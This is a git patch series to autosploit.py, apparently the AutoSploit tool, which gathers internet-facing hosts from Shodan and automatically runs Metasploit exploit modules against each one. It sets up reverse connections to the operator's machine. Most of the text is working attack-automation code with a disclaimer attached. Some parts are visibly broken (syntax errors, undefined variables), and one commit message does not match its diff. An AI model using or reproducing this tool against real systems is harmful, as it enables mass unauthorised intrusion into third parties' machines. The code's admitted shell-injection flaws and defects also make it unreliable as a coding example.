From 00e313da9342a5562375e79a42900135ff626272 Mon Sep 17 00:00:00 2001 From: Evan Lewis Date: Thu, 8 Feb 2018 12:51:08 -0500 Subject: [PATCH 1/2] Merge remote-tracking branch 'NullArray/master' # Conflicts: # autosploit.py --- autosploit.py | 910 +++++++++++++++++++++----------------------------- 1 file changed, 387 insertions(+), 523 deletions(-) diff --git a/autosploit.py b/autosploit.py index 53b4ffa..90dcf8b 100644 --- a/autosploit.py +++ b/autosploit.py @@ -1,13 +1,10 @@ #!/usr/bin/env python2.7 -"""Autosploit Core, beta development version""" import os, sys -import time -import pickle import shodan +import pickle +import time -# idk if you're going to need this since retrying is a decorator (see line 410) -# from retrying import retry from blessings import Terminal from subprocess import PIPE, Popen @@ -21,44 +18,62 @@ local_host = "" configured = False toolbar_width = 60 -usage_and_legal_path = "{}/etc/general".format(os.getcwd()) -modules_path = "{}/etc/modules.txt".format(os.getcwd()) -autosploit_opts = { - 1: "usage and legal", 2: "gather hosts", 3: "custom hosts", - 4: "add single host", 5: "view gathered hosts", 6: "exploit gathered hosts", - 7: "quit" -} +# Logo def logo(): - """Logo.""" - print(t.cyan(""" + print t.cyan(""" _____ _ _____ _ _ _ #--Author : Vector/NullArray | _ |_ _| |_ ___| __|___| |___|_| |_ #--Twitter: @Real__Vector | | | | _| . |__ | . | | . | | _| #--Type : Mass Exploiter |__|__|___|_| |___|_____| _|_|___|_|_| -#--Version: 1.4.0 |_| +#--Version: 1.0.0 |_| ############################################## -""")) - +""") +# Usage and legal. def usage(): - """Usage & Legal.""" - global usage_and_legal_path - print("\033[H\033[J") # Clear terminal + os.system("clear") logo() - with open(usage_and_legal_path) as info: - print(info.read()) - - + print """ ++-----------------------------------------------------------------------+ +| AutoSploit General Usage and Information | ++-----------------------------------------------------------------------+ +|As the name suggests AutoSploit attempts to automate the exploitation | +|of remote hosts. Targets are collected by employing the Shodan.io API. | +| | +|The 'Gather Hosts' option will open a dialog from which you can | +|enter platform specific search queries such as 'Apache' or 'IIS'. | +|Upon doing so a list of candidates will be retrieved and saved to | +|hosts.txt in the current working directory. | +|After this operation has been completed the 'Exploit' option will | +|go about the business of attempting to exploit these targets by | +|running a range of Metasploit modules against them. | +| | +|Workspace, local host and local port for MSF facilitated | +|back connections are configured through the dialog that comes up | +|before the 'Exploit' module is started. | +| | ++------------------+----------------------------------------------------+ +| Option | Summary | ++------------------+----------------------------------------------------+ +|1. Usage | Display this informational message. | +|2. Gather Hosts | Query Shodan for a list of platform specific IPs. | +|3. View Hosts | Print gathered IPs/RHOSTS. | +|4. Exploit | Configure MSF and Start exploiting gathered targets| +|5. Quit | Exits AutoSploit. | ++------------------+----------------------------------------------------+ +| Legal Disclaimer | ++-----------------------------------------------------------------------+ +| Usage of AutoSploit for attacking targets without prior mutual consent| +| is illegal. It is the end user's responsibility to obey all applicable| +| local, state and federal laws. Developers assume no liability and are | +| not responsible for any misuse or damage caused by this program! | ++-----------------------------------------------------------------------+ +""" + +# Function that allows us to store system command +# output in a variable def cmdline(command): - """ - Function that allows us to store system command output in a variable. - We'll change this later in order to solve the potential security - risk that arises when passing untrusted input to the shell. - - I intend to have the issue resolved by Version 1.5.0. - """ - process = Popen( args=command, stdout=PIPE, @@ -66,514 +81,363 @@ def cmdline(command): ) return process.communicate()[0] +def exploit(query): + global workspace + global local_port + global local_host -def exploit(query=None, single=None): - """Exploit component""" - - global workspace - global local_port - global local_host - global modules_path - print("\033[H\033[J") # Clear terminal - - logo() - - sorted_modules = [] - all_modules = [] - - if query == None: - rhosts = single - - print("\n[{}]Single target mode. All available modules will be run against provided RHOST.".format(t.green("+"))) - proceed = raw_input("[" + t.magenta("?") + "]Continue? [Y]es/[N]o: ").lower() + os.system("clear") + logo() - if proceed == 'y': - print("\n\n\n[{}]Loading modules...".format(t.green("+"))) - # Progress bar - sys.stdout.write("[%s]" % (" " * toolbar_width)) - sys.stdout.flush() - sys.stdout.write("\b" * (toolbar_width + 1)) + sorted_modules = [] + all_modules = [] - with open(modules_path, "rb") as infile: - for i in xrange(toolbar_width): - time.sleep(0.1) - for lines in infile: - all_modules.append(lines) + print "[" + t.green("+") + "]Sorting modules relevant to the specified platform." + print "[" + t.green("+") + "]This may take a while...\n\n\n" - print("\n\n\n[{}]Done. Launching exploits.".format(t.green("+"))) - template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit) - cmdline(template) - - elif proceed == 'n': - print("[{}]Aborted. Returning to Main Menu".format(t.red("!"))) - - else: - print("[{}]Unhandled Option. Defaulting to Main Menu".format(t.red("!"))) - - else: - print("[{}]Sorting modules relevant to the specified platform.".format(t.green("+"))) - print("[{}]This may take a while...\n\n\n".format(t.green("+"))) - - # Progress bar + # Progress bar sys.stdout.write("[%s]" % (" " * toolbar_width)) - sys.stdout.flush() - sys.stdout.write("\b" * (toolbar_width + 1)) + sys.stdout.flush() + sys.stdout.write("\b" * (toolbar_width+1)) - with open(modules_path, "rb") as infile: - for i in xrange(toolbar_width): - time.sleep(0.1) - for lines in infile: - all_modules.append(lines) - if query in lines: - sorted_modules.append(lines) + with open( "modules.txt", "rb" ) as infile: + for i in xrange(toolbar_width): + time.sleep(0.1) + for lines in infile: + all_modules.append(lines) + if query in lines: + sorted_modules.append(lines) + + # update the bar + sys.stdout.write('\033[94m' + "|" + '\033[0m') + sys.stdout.flush() - # update the bar - sys.stdout.write('\033[94m' + "|" + '\033[0m') - sys.stdout.flush() - print("\n\n\n[{}]AutoSploit sorted the following MSF modules based search query relevance.\n".format(t.green("+"))) + print "\n\n\n[" + t.green("+") + "]AutoSploit sorted the following MSF modules based search query relevance.\n" # Print out the sorted modules for line in sorted_modules: - print("[{}] {}".format(t.cyan("-"), line)) + print "[" + t.cyan("-") + "]" + line - # We'll give the user the option to run all modules in a 'hail mary' type of attack or allow + # We'll give the user the option to run all modules in a 'hail mary' type of attack or allow # a more directed approach with the sorted modules. choice = raw_input("\n[" + t.magenta("?") + "]Run sorted or all modules against targets? [S]orted/[A]ll: ").lower() if choice == 's': - with open("hosts.txt", "rb") as host_list: - for rhosts in host_list: - for exploit in sorted_modules: - # WARNING: POTENTIAL SECURITY RISK - UNTRUSTED INPUT TO SHELL: (Fix by V1.5) - template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit) - cmdline(template) - elif choice == 'a': - with open("hosts.txt", "rb") as host_list: - for rhosts in host_list: - for exploit in all_modules: - # WARNING: POTENTIAL SECURITY RISK - UNTRUSTED INPUT TO SHELL: (Fix by V1.5) - template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit) - cmdline(template) - else: - print("[{}]Unhandled Option. Defaulting to Main Menu".format(t.red("!"))) - - -def settings(single=None): - """Function to define Metasploit settings.""" - global workspace - global local_port - global local_host - global configured - - print("\033[H\033[J") # Clear terminal - logo() - - print("[{}]MSF Settings\n".format(t.green("+"))) - print("In order to proceed with the exploit module some MSF") - print("settings need to be configured.") - time.sleep(1.5) - - print("\n[{}]Note.\n".format(t.green("+"))) - print("Please make sure your Network is configured properly.\n") - print("In order to handle incoming Reverse Connections") - print("your external Facing IP & Port need to be reachable...") - time.sleep(1.5) - - workspace = raw_input("\n[" + t.magenta("?") + "]Please set the Workspace name: ") - if not workspace == "": - print("[{}]Workspace set to: {}".format(t.green("+"), workspace)) - else: - workspace = False - - local_host = raw_input("\n[" + t.magenta("?") + "]Please set the local host: ") - if not local_host == "": - print("[{}]Local host set to: {}".format(t.green("+"), repr(local_host))) - else: - local_host = False - - local_port = raw_input("\n[" + t.magenta("?") + "]Please set the local port: ") - if not local_host == "": - print("[{}]Local port set to: {}".format(t.green("+"), repr(local_port))) - else: - local_port = False - - # Check if settings are not null - if workspace is False or local_host is False or local_port is False: - configured = None - print("\n[{}]Warning. LPORT, LHOST and/or workspace cannot be null".format(t.red("!"))) - print("[{}]Restarting MSF Settings module.".format(t.green("+"))) - time.sleep(2) - else: - # If everything has been properly configured we're setting config var to true - # When we return to the main menu loop we will use it to check to see if we - # can skip the config stage. When the exploit component is run a second time - configured = True - - if single is not None: - exploit(None, single) - # TEST print - print "value of 'single' is" +repr(single) - # TEST print - - if not os.path.isfile("hosts.txt"): - print("[{}]Warning. AutoSploit failed to detect host file.".format(t.red("!"))) - print("In order for the exploit module to work, a host file needs to be present.") - else: - # Call exploit function, the 'query' argument contains the search strig provided - # in the 'gather hosts' function. We will check this string against the MSF - # modules in order to sort out the most relevant ones with regards to the intended - # targets. - exploit(query) - -def targets(clobber=True): - """Function to gather target host(s) from Shodan.""" - global query - - print("\033[H\033[J") # Clear terminal - logo() - - print("[{}]Please provide your platform specific search query.".format(t.green("+"))) - print("[{}]I.E. 'IIS' will return a list of IPs belonging to IIS servers.".format(t.green("+"))) - - # /TODO: - while True: - query = raw_input("\n<" + t.cyan("PLATFORM") + ">$ ") - - if query == "": - print("[{}]Query cannot be null.".format(t.red("!"))) - - break - - - print("[{}]Please stand by while results are being collected...\n\n\n".format(t.green("+"))) - time.sleep(1) - - try: - result = api.search(query) - except Exception as e: - print("\n[{}]Critical. An error was raised with the following error message.\n".format(t.red("!"))) - sys.exit(e) - - # Setup progress bar - sys.stdout.write("[%s]" % (" " * toolbar_width)) - sys.stdout.flush() - sys.stdout.write("\b" * (toolbar_width + 1)) - - # TODO:/ - if clobber: - with open('hosts.txt', 'wb') as log: - for i in xrange(toolbar_width): - time.sleep(0.1) - for service in result['matches']: - log.write(service['ip_str']) - log.write("\n") - - # update the bar - sys.stdout.write('\033[94m' + "|" + '\033[0m') - sys.stdout.flush() - - hostpath = os.path.abspath("hosts.txt") - - print("\n\n\n[{}]Done.".format(t.green("+"))) - print("[{}]Host list saved to {}".format(t.green("+"), hostpath)) - - # TODO:/ - else: - with open("hosts.txt", "ab") as log: - for i in xrange(toolbar_width): - time.sleep(0.1) - for service in result['matches']: - log.write(service['ip_str']) - log.write("\n") + with open( "hosts.txt", "rb" ) as host_list: + for rhosts in host_list: + for exploit in sorted_modules: + template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit) + os.system(template) + elif choice == 'a': + with open( "hosts.txt", "rb" ) as host_list: + for rhosts in host_list: + for exploit in all_modules: + template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit) + os.system(template) + else: + print "[" + t.red("!") + "]Unhandled Option. Defaulting to Main Menu" + + +# Function to gather target hosts from Shodan +def targets(clobber=True, hostLimit = -1): + global query + + os.system("clear") + logo() + + print "[" + t.green("+") + "]Please provide your platform specific search query." + print "[" + t.green("+") + "]I.E. 'IIS' will return a list of IPs belonging to IIS servers." + + while True: + query = raw_input("\n<" + t.cyan("PLATFORM") + ">$ ") + + if query == "": + print "[" + t.red("!") + "]Query cannot be null." + else: + break + + print "[" + t.green("+") + "]Please stand by while results are being collected...\n\n\n" + time.sleep(1) + + try: + result = api.search(query) + except Exception as e: + print "\n[" + t.red("!") + "]Critical. An error was raised with the following error message.\n" + print e + + sys.exit(0) + + # Setup progress bar + sys.stdout.write("[%s]" % (" " * toolbar_width)) + sys.stdout.flush() + sys.stdout.write("\b" * (toolbar_width+1)) + + if clobber == True: + with open('hosts.txt', 'wb') as log: + for i in xrange(toolbar_width): + time.sleep(0.1) + for service in result['matches']: + if hostLimit > 0 or hostLimit < 0: + log.write(service['ip_str']) + log.write("\n") + hostLimit -= 1 + else: + break + + # update the bar + sys.stdout.write('\033[94m' + "|" + '\033[0m') + sys.stdout.flush() + + hostpath = os.path.abspath("hosts.txt") + + print "\n\n\n[" + t.green("+") + "]Done." + print "[" + t.green("+") + "]Host list saved to " + hostpath + + else: + with open( "hosts.txt", "ab" ) as log: + for i in xrange(toolbar_width): + time.sleep(0.1) + for service in result['matches']: + log.write(service['ip_str']) + log.write("\n") # update the bar - sys.stdout.write('\033[94m' + "|" + '\033[0m') + sys.stdout.write('\033[94m' + "|" + '\033[0m') sys.stdout.flush() - hostpath = os.path.abspath("hosts.txt") - - print("\n\n\n[{}]Done.".format(t.green("+"))) - print("[{}]Hosts appended to list at ".format(t.green("+"), hostpath)) - - - -# TODO:/ -def import_custom(clobber=True): - """ - Function to import custom host list. - """ - print("\033[H\033[J") # Clear terminal - logo() - - custom_list = [] - - print("[{}]Please provide a path to your custom host list.".format(t.green("+"))) - file_path = raw_input("\n[" + t.magenta("?") + "]Path to list: " - - try: - with open(file_path, "rb") as infile: - for line in infile: - line.append(custom_list) - - except IOError as e: - print("\n[{}]Critical. An IO error was raised.".format(t.red("!"))) - print("Please make sure to enter a valid path.") - - if clobber: - print("[{}]Writing data to 'hosts.txt'...".format(t.green("+"))) - with open('hosts.txt', 'wb') as outfile: - for rhosts in custom_list: - outfile.write(rhosts) - outfile.write("\n") - - hostpath = os.path.abspath("hosts.txt") - - print("\n\n\n[{}]Done.".format(t.green("+"))) - print("[{}]Host list saved to {}".format(t.green("+"), hostpath)) - - else: - print("[{}]Appending data to 'hosts.txt'...".format(t.green("+"))) - - with open( "hosts.txt", 'ab') as outfile: - for rhosts in custom_list: - outfile.write(rhosts) - outfile.write("\n") - - hostpath = os.path.abspath("hosts.txt") - - print("\n\n\n[{}]Done.".format(t.green("+"))) - print("[{}]Host list saved to {}".format(t.green("+"), hostpath)) - - -def single_target(): - # TODO:/ - """ - Add single target to host list or pass it to the exploit function directly - to attempt to exploit it. - """ - print("\033[H\033[J") # Clear terminal - logo() - - print("[{}]Please provide a single IPv4.".format(t.green("+"))) - IP = raw_input("[" + t.magenta("?") + "]IPv4 Address: ") - - quartet1 = int(IP[0:IP.index('.')]) - IP = IP[IP.index('.')+1:] - quartet2 = int(IP[0:IP.index('.')]) - IP = IP[IP.index('.')+1:] - quartet3 = int(IP[0:IP.index('.')]) - IP = IP[IP.index('.')+1:] - quartet4 = int(IP) - - IP = str(quartet1) + "." + str(quartet2) + "." + str(quartet3) + "." + str(quartet4) - - if quartet1 < 0 or quartet1 > 255: - print("[{}]Critical. Invalid IPv4 address.".format(t.red("!"))) - elif quartet2 < 0 or quartet2 > 255: - print("[{}]Critical. Invalid IPv4 address.".format(t.red("!"))) - elif quartet3 < 0 or quartet3 > 255: - print("[{}]Critical. Invalid IPv4 address.".format(t.red("!"))) - elif quartet4 < 0 or quartet4 > 255: - print("[{}]Critical. Invalid IPv4 address.".format(t.red("!"))) - elif IP == "127.0.0.1": - print("[{}]Critical. Invalid IPv4 address.".format(t.red("!"))) - else: - print("\n[{}]Host set to {}".format(t.green("+"), repr(hostpath))) - time.sleep(1) - - print("\n\n[{}]Append the IP to the host file or pass to exploit module directly?.".format(t.green("+"))) - choice = raw_input("\n[" + t.magenta("?") + "]Append or Pass for immediate exploitation? [A/P]: ").lower() - - if choice == 'a': - with open( "hosts.txt", "ab") as outfile: - outfile.write(IP) - - hostpath = os.path.abspath("hosts.txt") - print("[{}]Host added to {}".format(t.green("+"), hostpath)) - - elif choice == 'p': - if configured: - exploit(None, IP) - else: - settings(IP) - - else: - print("\n[{}]Unhandled Option.".format(t.red("!"))) - - + hostpath = os.path.abspath("hosts.txt") + + print "\n\n\n[" + t.green("+") + "]Done." + print "[" + t.green("+") + "]Hosts appended to list at " + hostpath + + + +# Function to define metasploit settings +def settings(): + global workspace + global local_port + global local_host + global configured + + os.system("clear") + logo() + + print "[" + t.green("+") + "]MSF Settings\n" + print "In order to proceed with the exploit module some MSF" + print "settings need to be configured." + time.sleep(1.5) + + print "\n[" + t.green("+") + "]Note.\n" + print "Please make sure your Network is configured properly.\n" + print "In order to handle incoming Reverse Connections" + print "your external Facing IP & Port need to be reachable..." + time.sleep(1.5) + + + workspace = raw_input("\n[" + t.magenta("?") + "]Please set the Workspace name: ") + if not workspace == "": + print "[" + t.green("+") + "]Workspace set to: " + workspace + else: + workspace = False + + local_host = raw_input("\n[" + t.magenta("?") + "]Please set the local host: ") + if not local_host == "": + print "[" + t.green("+") + "]Local host set to: " + repr(local_host) + else: + local_host = False + + local_port = raw_input("\n[" + t.magenta("?") + "]Please set the local port: ") + if not local_host == "": + print "[" + t.green("+") + "]Local port set to: " + repr(local_port) + else: + local_port = False + + # Check if settings are not null + if workspace == False or local_host == False or local_port == False: + configured = None + print "\n[" + t.red("!") + "]Warning. LPORT, LHOST and/or workspace cannot be null" + print "[" + t.green("+") + "]Restarting MSF Settings module." + time.sleep(1.5) + else: + # If everything has been properly configured we're setting config var to true + # When we return to the main menu loop we will use it to check to see if we + # can skip the config stage. When the exploit component is run a second time + configured = True + + if not os.path.isfile("hosts.txt"): + print "[" + t.red("!") + "]Warning. AutoSploit failed to detect host file." + print "In order for the exploit module to work, a host file needs to be" + print "present." + else: + # Call exploit function, the 'query' argument contains the search strig provided + # in the 'gather hosts' function. We will check this string against the MSF + # modules in order to sort out the most relevant ones with regards to the intended + # targets. + exploit(query) + +# Main menu def main(): - """Main menu.""" - global query - global configured - global api - global autosploit_opts - - # TODO:/ - @retry(stop_max_attempt_number=3) - def try_shodan(): - try: - api = shodan.Shodan(SHODAN_API_KEY) - except Exception as e: - print("\n[{}]Critical. API setup failed: {}\n".format(t.red("!"), e)) - # sys.exit(e) - return api - - api = try_shodan() - try: - while True: - # Make sure a misconfiguration in the MSF settings - # Doesn't execute main menu loop but returns us to the - # appropriate function for handling those settings - if configured is None: - settings() - - print("\n[{}]Welcome to AutoSploit. Please select an action.".format(t.green("+"))) - for i in autosploit_opts.keys(): - print("{}. {}".format(i, autosploit_opts[i].title())) - - action = raw_input("\n<" + t.cyan("AUTOSPLOIT") + ">$ ") - - if action == '1': - usage() - - elif action == '2': - if not os.path.isfile("hosts.txt"): - targets(True) - else: - append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [A/O]: ").lower() - - if append == 'a': - targets(False) - elif append == 'o': - targets(True) - else: - print("\n[{}]Unhandled Option.".format(t.red("!"))) - - elif action == '3': - if not os.path.isfile("hosts.txt"): - import_custom(True) - else: - append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [A/O]: ").lower() - - if append == 'a': - import_custom(False) - elif append == 'o': - import_custom(True) - else: - print("\n[{}]Unhandled Option.".format(t.red("!"))) - - elif action == '4': - single_target() - - elif action == '5': - if not os.path.isfile("hosts.txt"): - print("\n[{}]Warning. AutoSploit failed to detect host file.".format(t.red("!"))) - - else: - print("[{}]Printing hosts...\n\n".format(t.green("+"))) - time.sleep(2) - - with open("hosts.txt", "rb") as infile: - for line in infile: - print("[{}]{}".format(t.cyan("-"), line)) - - print("\n[{}]Done.".format(t.green("+"))) - - - elif action == '6': - if not os.path.isfile("hosts.txt"): - print("\n[{}]Warning. AutoSploit failed to detect host file.".format(t.red("!"))) - print("Please make sure to gather a list of targets") - print("by selecting the 'Gather Hosts' option") - print("before executing the 'Exploit' module.") - - if configured: - exploit(query) - elif configured is False: - settings() - - elif action == '7': - print("\n[{}]Exiting AutoSploit...".format(t.red("!"))) - break - - else: - print("\n[{}]Unhandled Option.".format(t.red("!"))) - - except KeyboardInterrupt: - print("\n[{}]Critical. User aborted.".format(t.red("!"))) - sys.exit(0) - - -if __name__ == "__main__": - logo() - - print("[{}]Initializing AutoSploit...".format(t.green("+"))) - print("[{}]One moment please while we check the Postgresql and Apache services...\n".format(t.green("+"))) - - postgresql = cmdline("sudo service postgresql status | grep active") - if "Active: inactive" in postgresql: - print("\n[{}]Warning. Hueristics indicate Postgresql Service is offline".format(t.red("!"))) - - start_pst = raw_input("\n[" + t.magenta("?") + "]Start Postgresql Service? [Y]es/[N]o: ").lower() - if start_pst == 'y': - os.system("sudo service postgresql start") - print("[{}]Postgresql Service Started...".format(t.green("+"))) - time.sleep(1.5) - - elif start_pst == 'n': - print("\n[{}]AutoSploit's MSF related operations require this service to be active.".format(t.red("!"))) - print("[{}]Aborted.".format(t.red("!"))) - time.sleep(1.5) - sys.exit(0) - else: - print("\n[{}]Unhandled Option. Defaulting to starting the service.".format(t.red("!"))) - os.system("sudo service postgresql start") - - print("[{}]Postgresql Service Started...".format(t.green("+"))) - time.sleep(1.5) - - apache = cmdline("service apache2 status | grep active") - if "Active: inactive" in apache: - print("\n[{}]Warning. Hueristics indicate Apache Service is offline".format(t.red("!"))) - - start_ap = raw_input("\n[" + t.magenta("?") + "]Start Apache Service? [Y]es/[N]o: ").lower() - if start_ap == 'y': - os.system("sudo service apache2 start") - - print("[{}]Apache2 Service Started...".format(t.green("+"))) - time.sleep(1.5) - - elif start_ap == 'n': - print("\n[{}]AutoSploit's MSF related operations require this service to be active.".format(t.red("!"))) - print("[{}]Aborted.".format(t.red("!"))) - time.sleep(1.5) - sys.exit(0) - else: - print("\n[{}]Unhandled Option. Defaulting to starting the service.".format(t.red("!"))) - os.system("sudo service apache2 start") - # TODO: Should really add another check here to make sure it started. - - print("[{}]Apache2 Service Started...".format(t.green("+"))) - time.sleep(1.5) - - # We will check if the shodan api key has been saved before, if not we are going to prompt - # for it and save it to a file - if not os.path.isfile("api.p"): - print("\n[{}]Please provide your Shodan.io API key.".format(t.green("+"))) - - SHODAN_API_KEY = raw_input("API key: ") - pickle.dump(SHODAN_API_KEY, open("api.p", "wb")) - path = os.path.abspath("api.p") - print("[{}]\nYour API key has been saved to {}".format(t.green("+"), path)) - main() - - else: - try: - SHODAN_API_KEY = pickle.load(open("api.p", "rb")) - except IOError as e: - print("\n[{}]Critical. An IO error was raised while attempting to read API data.\n{}".format(t.red("!"), e)) - - path = os.path.abspath("api.p") - print("\n[{}]Your API key was loaded from {}".format(t.green("+"), path)) - - main() + global query + global configured + global api + + try: + api = shodan.Shodan(SHODAN_API_KEY) + except Exception as e: + print "\n[" + t.red("!") + "]Critical. API setup failed.\n" + print e + sys.exit(0) + + + try: + while True: + # Make sure a misconfiguration in the MSF settings + # Doesn't execute main menu loop but returns us to the + # appropriate function for handling those settings + if configured == None: + settings() + + print "\n[" + t.green("+") + "]Welcome to AutoSploit. Please select an action." + print """ + +1. Usage 3. View Hosts 5. Quit +2. Gather Hosts 4. Exploit + """ + + action = raw_input("\n<" + t.cyan("AUTOSPLOIT") + ">$ ") + + if action == '1': + usage() + + elif action == '2': + hostLimit = -1; + limitYN = raw_input("\n[" + t.magenta("?") + "]Limit number of hosts? [y/n]: ").lower() + if limitYN == 'y': + hostLimit = input("\n[" + t.magenta("?") + "]How many?: ") + + if not os.path.isfile("hosts.txt"): + targets(True, hostLimit) + else: + append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [a/o]: ").lower() + + if append == 'a': + targets(False, hostLimit) + elif append == 'o': + targets(True, hostLimit) + else: + print "\n[" + t.red("!") + "]Unhandled Option." + + elif action == '3': + if not os.path.isfile("hosts.txt"): + print "\n[" + t.red("!") + "]Warning. AutoSploit failed to detect host file." + + else: + print "[" + t.green("+") + "]Printing hosts...\n\n" + time.sleep(2) + counter = 0 + with open( "hosts.txt", "rb" ) as infile: + for line in infile: + print "[" + t.cyan("-") + "]" + line + counter += 1 + print "\n[" + t.cyan("-") + "]" + str(counter) + " hosts\n" + print "[" + t.green("+") + "]Done.\n" + + elif action == '4': + if not os.path.isfile("hosts.txt"): + print "\n[" + t.red("!") + "]Warning. AutoSploit failed to detect host file." + print "Please make sure to gather a list of targets" + print "by selecting the 'Gather Hosts' option" + print "before executing the 'Exploit' module." + + if configured == True: + exploit(query) + elif configured == False: + settings() + + elif action == '5': + print "\n[" + t.red("!") + "]Exiting AutoSploit..." + break + + else: + print "\n[" + t.red("!") + "]Unhandled Option." + + except KeyboardInterrupt: + print "\n[" + t.red("!") + "]Critical. User aborted." + sys.exit(0) + + +if __name__=="__main__": + logo() + + print "[" + t.green("+") + "]Initializing AutoSploit..." + print "[" + t.green("+") + "]One moment please while we check the Postgresql and Apache services...\n" + + postgresql = cmdline("sudo service postgresql status | grep active") + if "Active: inactive" in postgresql: + print "\n[" + t.red("!") + "]Warning. Heuristics indicate Postgresql Service is offline" + + start_pst = raw_input("\n[" + t.magenta("?") + "]Start Postgresql Service? [Y]es/[N]o: ").lower() + if start_pst == 'y': + os.system("sudo service postgresql start") + + print "[" + t.green("+") + "]Postgresql Service Started..." + time.sleep(1.5) + + elif start_pst == 'n': + print "\n[" + t.red("!") + "]AutoSploit's MSF related operations require this service to be active." + print "[" + t.red("!") + "]Aborted." + time.sleep(1.5) + sys.exit(0) + else: + print "\n[" + t.red("!") + "]Unhandled Option. Defaulting to starting the service." + os.system("sudo service postgresql start") + + print "[" + t.green("+") + "]Postgresql Service Started..." + time.sleep(1.5) + + apache = cmdline("service apache2 status | grep active") + if "Active: inactive" in apache: + print "\n[" + t.red("!") + "]Warning. Heuristics indicate Apache Service is offline" + + start_ap = raw_input("\n[" + t.magenta("?") + "]Start Apache Service? [Y]es/[N]o: ").lower() + if start_ap == 'y': + os.system("sudo service apache2 start") + + print "[" + t.green("+") + "]Apache2 Service Started..." + time.sleep(1.5) + + elif start_ap == 'n': + print "\n[" + t.red("!") + "]AutoSploit's MSF related operations require this service to be active." + print "[" + t.red("!") + "]Aborted." + time.sleep(1.5) + sys.exit(0) + else: + print "\n[" + t.red("!") + "]Unhandled Option. Defaulting to starting the service." + os.system("sudo service apache2 start") + + print "[" + t.green("+") + "]Apache2 Service Started..." + time.sleep(1.5) + + # We will check if the shodan api key has been saved before, if not we are going to prompt + # for it and save it to a file + if not os.path.isfile("api.p"): + print "\n[" + t.green("+") + "]Please provide your Shodan.io API key." + + SHODAN_API_KEY = raw_input("API key: ") + pickle.dump(SHODAN_API_KEY, open( "api.p", "wb" )) + + path = os.path.abspath("api.p") + print "[" + t.green("+") + "]\nYour API key has been saved to " + path + + main() + else: + try: + SHODAN_API_KEY = pickle.load(open( "api.p", "rb" )) + except IOError as e: + print "\n[" + t.red("!") + "]Critical. An IO error was raised while attempting to read API data." + print e + + path = os.path.abspath("api.p") + print "\n[" + t.green("+") + "]Your API key was loaded from " + path + + main() From a8bf69b48f0d2d937be57ca6151ef4a6fdaa9e7c Mon Sep 17 00:00:00 2001 From: Evan Lewis Date: Thu, 8 Feb 2018 15:08:28 -0500 Subject: [PATCH 2/2] Added ability to limit number of hosts --- autosploit.py | 903 +++++++++++++++++++++++++++++--------------------- 1 file changed, 523 insertions(+), 380 deletions(-) diff --git a/autosploit.py b/autosploit.py index 90dcf8b..c544b35 100644 --- a/autosploit.py +++ b/autosploit.py @@ -1,10 +1,13 @@ #!/usr/bin/env python2.7 +"""Autosploit Core, beta development version""" import os, sys -import shodan -import pickle import time +import pickle +import shodan +# idk if you're going to need this since retrying is a decorator (see line 410) +# from retrying import retry from blessings import Terminal from subprocess import PIPE, Popen @@ -18,62 +21,44 @@ local_host = "" configured = False toolbar_width = 60 +usage_and_legal_path = "{}/etc/general".format(os.getcwd()) +modules_path = "{}/etc/modules.txt".format(os.getcwd()) +autosploit_opts = { + 1: "usage and legal", 2: "gather hosts", 3: "custom hosts", + 4: "add single host", 5: "view gathered hosts", 6: "exploit gathered hosts", + 7: "quit" +} -# Logo def logo(): - print t.cyan(""" + """Logo.""" + print(t.cyan(""" _____ _ _____ _ _ _ #--Author : Vector/NullArray | _ |_ _| |_ ___| __|___| |___|_| |_ #--Twitter: @Real__Vector | | | | _| . |__ | . | | . | | _| #--Type : Mass Exploiter |__|__|___|_| |___|_____| _|_|___|_|_| -#--Version: 1.0.0 |_| +#--Version: 1.4.0 |_| ############################################## -""") +""")) + -# Usage and legal. def usage(): - os.system("clear") + """Usage & Legal.""" + global usage_and_legal_path + print("\033[H\033[J") # Clear terminal logo() - print """ -+-----------------------------------------------------------------------+ -| AutoSploit General Usage and Information | -+-----------------------------------------------------------------------+ -|As the name suggests AutoSploit attempts to automate the exploitation | -|of remote hosts. Targets are collected by employing the Shodan.io API. | -| | -|The 'Gather Hosts' option will open a dialog from which you can | -|enter platform specific search queries such as 'Apache' or 'IIS'. | -|Upon doing so a list of candidates will be retrieved and saved to | -|hosts.txt in the current working directory. | -|After this operation has been completed the 'Exploit' option will | -|go about the business of attempting to exploit these targets by | -|running a range of Metasploit modules against them. | -| | -|Workspace, local host and local port for MSF facilitated | -|back connections are configured through the dialog that comes up | -|before the 'Exploit' module is started. | -| | -+------------------+----------------------------------------------------+ -| Option | Summary | -+------------------+----------------------------------------------------+ -|1. Usage | Display this informational message. | -|2. Gather Hosts | Query Shodan for a list of platform specific IPs. | -|3. View Hosts | Print gathered IPs/RHOSTS. | -|4. Exploit | Configure MSF and Start exploiting gathered targets| -|5. Quit | Exits AutoSploit. | -+------------------+----------------------------------------------------+ -| Legal Disclaimer | -+-----------------------------------------------------------------------+ -| Usage of AutoSploit for attacking targets without prior mutual consent| -| is illegal. It is the end user's responsibility to obey all applicable| -| local, state and federal laws. Developers assume no liability and are | -| not responsible for any misuse or damage caused by this program! | -+-----------------------------------------------------------------------+ -""" - -# Function that allows us to store system command -# output in a variable + with open(usage_and_legal_path) as info: + print(info.read()) + + def cmdline(command): + """ + Function that allows us to store system command output in a variable. + We'll change this later in order to solve the potential security + risk that arises when passing untrusted input to the shell. + + I intend to have the issue resolved by Version 1.5.0. + """ + process = Popen( args=command, stdout=PIPE, @@ -81,363 +66,521 @@ def cmdline(command): ) return process.communicate()[0] -def exploit(query): - global workspace - global local_port - global local_host - 